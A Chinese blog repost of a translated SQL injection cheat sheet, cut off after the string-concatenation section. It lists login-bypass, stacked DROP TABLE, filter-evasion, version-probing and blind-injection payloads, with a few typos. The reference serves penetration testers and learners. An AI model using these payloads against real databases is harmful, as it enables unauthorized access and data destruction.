SQL防注入大全——史上最全的 SQL 注入资料

分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow

也欢迎大家转载本篇文章。分享知识,造福人民,实现我们中华民族伟大复兴!

               

什么是 SQL 注入速查表?


SQL注入速查表是可以为你提供关于不同种类 SQL注入漏洞 的详细信息的一个资源。这份速查表对于经验丰富的渗透测试人员,或者刚开始接触 Web应用安全 的初学者,都是一份很好的参考资料。


关于这份 SQL 注入速查表


这份 SQL 速查表最初是 2007 年时 Ferruh Mavituna 在他自己的博客上发布的。我们更新了它并将它移到了公司 CEO 的博客上。现在,这份速查表仅包含了 MySQL 、SQL Server,和有限的一些关于 Oracle 和 PostgerSQL 数据库的信息。表中的部分示例可能无法在每一个场景都正常运行,因为真实使用的环境中,可能因为括号的使用、不同的代码上下文以及出乎意料的、奇怪而复杂的 SQL 语句而有所差异。


示例提供给你关于潜在攻击的基本思路,而且几乎每节都包含有简短的说明。


  • M:MySQL

  • S:SQL Server

  • P:PostgreSQL

  • O:Oracle

  • +:可能出现在其他所有数据库


例如:


  • (MS)代表:MySQL 和 SQL Server 等

  • (M*S)代表:仅部分版本及有特殊说明的 MySQL,以及 SQLServer


目录表


  1. 语法参考,攻击样例以及注入小技巧

(1)行间注释

  • 使用了行间注释的 SQL 注入攻击样例

(2)行内注释

  • 经典的行内注释注入攻击样例

  • MySQL 版本探测攻击样例

(3)堆叠查询(Stacking Queries)

  • 支持堆叠查询的语言/数据库

  • 关于 MySQL 和 PHP

  • 堆叠注入攻击样例

(4)If 语句

  • MySQL 的 If 语句

  • SQL Server 的 If 语句

  • If 语句的注入攻击样例

(5)使用整数(Integers)

(6)字符串操作

  • 字符串的连结

(7)没有引号的字符串

  • 基于 16 进制的注入攻击样例

(8)字符串变体 & 相关知识

(9)Union 注入

  • UNION — 语言问题处理

(10)绕过登陆界面

(11)在SQL Server 2005 中启用 xp_cmdshell

(12)探测 SQL Server 数据库的结构

(13)从基于错误的 SQL 注入中快速提取数据的方法

(14)SQL 盲注

(15)掩盖痕迹

(16)MySQL 的额外说明

(17)二阶 SQL 注入

(18)带外(OOB)频道攻击


语法参考、攻击示例和注入小技巧


结束 / 注释掉 / 行注释


行间注释


注释掉查询语句的其余部分


行间注释通常用于忽略掉查询语句的其余部分,这样你就不用处理因为注入导致的语法变动。


— (SM)


DROP sampletable;--


# (M)


DROP sampletable;#


行间注释的 SQL 注入攻击示例


用户名:admin’–


SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'


这会让你以admin用户身份登录,因为其余部分的SQL语句被注释掉了。


行内注释


通过不关闭的注释,注释掉查询语句的其余部分,或者用于绕过黑名单过滤、移除空格、迷惑和探测数据库版本。


  • /*这里是注释内容*/ (SM)

    • DROP/*注释*/sampletable

    • DR/**/OP/*绕过过滤*/sampletable

    • SELECT/*消除空格*/password/**/FROM/**/Members


  • /*! MYSQL 专有 SQL */ (M)


这是 MySQL 的专有语法。非常适合用来探测 MySQL 版本。如果你在注释中写入代码,只有 MySQL 才会执行。你同样可以使用这个方法,让代码只在服务器版本高于指定版本才执行。


SELECT /*!32302 1/0, */ 1 FROM tablename


经典的行内注释 SQL 注入攻击示例


ID: 10; DROP TABLE members /*


在查询结尾简单地去除其他内容。等同于 10; DROP TABLE members —


SELECT /*!32302 1/0, */ 1 FROM tablename


如果 MySQL 版本高于 23.02 会抛出一个除数为 0(division by 0)的错误


MySQL 版本探测攻击示例


ID: /*!32302 10*/

ID: 10


如果 MySQL 的版本高于 23.02,执行上面两个查询你将得到相同的结果


SELECT /*!32302 1/0, */ 1 FROM tablename


如果 MySQL 版本高于 23.02 会抛出一个除数为 0(division by 0)的错误


堆叠查询


在一个事务中执行多个查询。这在每一个注入点都非常有用,尤其是后端使用了 SQL Server 的应用程序。


  • ; (S)


SELECT * FROM members; DROP members--


结束一个查询并开始一个新的查询。


语言 / 数据库堆叠查询支持表


绿色:支持;深灰色:不支持;浅灰色:未知


 


关于 MySQL 和 PHP


阐明一些问题


PHP – MySQL 不支持堆叠查询,Java 不支持堆叠查询(Oracle 我很确定,其他的就不太确定了)。通常来说 MySQL 支持堆叠查询,但在 PHP – MySQL 应用程序中大多数配置下的数据库层都不能执行第二条查询,也许 MySQL 客户端支持这个,我并不是很确定。有人能说明下吗?


堆叠注入攻击示例


  • ID: 10;DROP members —


SELECT * FROM products WHERE id = 10; DROP members--


这在正常SQL查询执行后将会执行 DROP members 语句。


If语句


根据If语句得到响应。这是盲注(Blind SQL Injection)的关键点之一,在盲注和精确的简单测试中都非常有用。


MySQL 的 If 语句


IF(condition,true-part,false-part)(M)


SELECT IF(1=1,'true','false')


SQL Server 的 If 语句


IF condition true-part ELSE false-part(S)


IF (1=1) SELECT 'true' ELSE SELECT 'false'


Oracle 的 If 语句


BEGIN

IF condition THEN true-part; ELSE false-part; END IF; END;(O)


IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;


PostgreSQL 的 If 语句


SELECT CASE WHEN condition THEN true-part ELSE false-part END;(P)


SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;


If 语句的 SQL 注入攻击示例


if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)


如果当前登录的用户不是 ”sa” 或 “dbo”,语句会抛出 除数为0 的错误。


整数的使用


对于绕过非常有用,如 magic_quotes() 和类似的过滤器,甚至是各种WAF。


  • 0xHEXNUMBER(SM)
    你可以这样使用 16 进制数。

SELECT CHAR(0x66)(S)

SELECT 0x5045 (这不是一个整数,而会是一个 16 进制字符串)(M)

SELECT 0x50 + 0x45 (现在这个是整数了!)(M)


字符串操作


字符串相关的操作。这些对于构造不含引号、绕过黑名单或探测后端数据库的注入非常有用。


字符串的连结


+ (S)


SELECT login + '-' + password FROM members


|| (*MO)


SELECT login || '-' || password FROM members


* 关于 MySQL 的 “||”


仅当 MySQL 在 ANSI 模式下这(指 “||” 符号)才会执行,其他模式下 MySQL 会当成 逻辑运算符 并返回 0。更好的方式是使用 MySQL 的 CONCAT() 函数。


CONCAT(str1, str2, str3, …) (M)


连接参数里提供的字符串。


SELECT CONCAT(login, password) FROM members


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值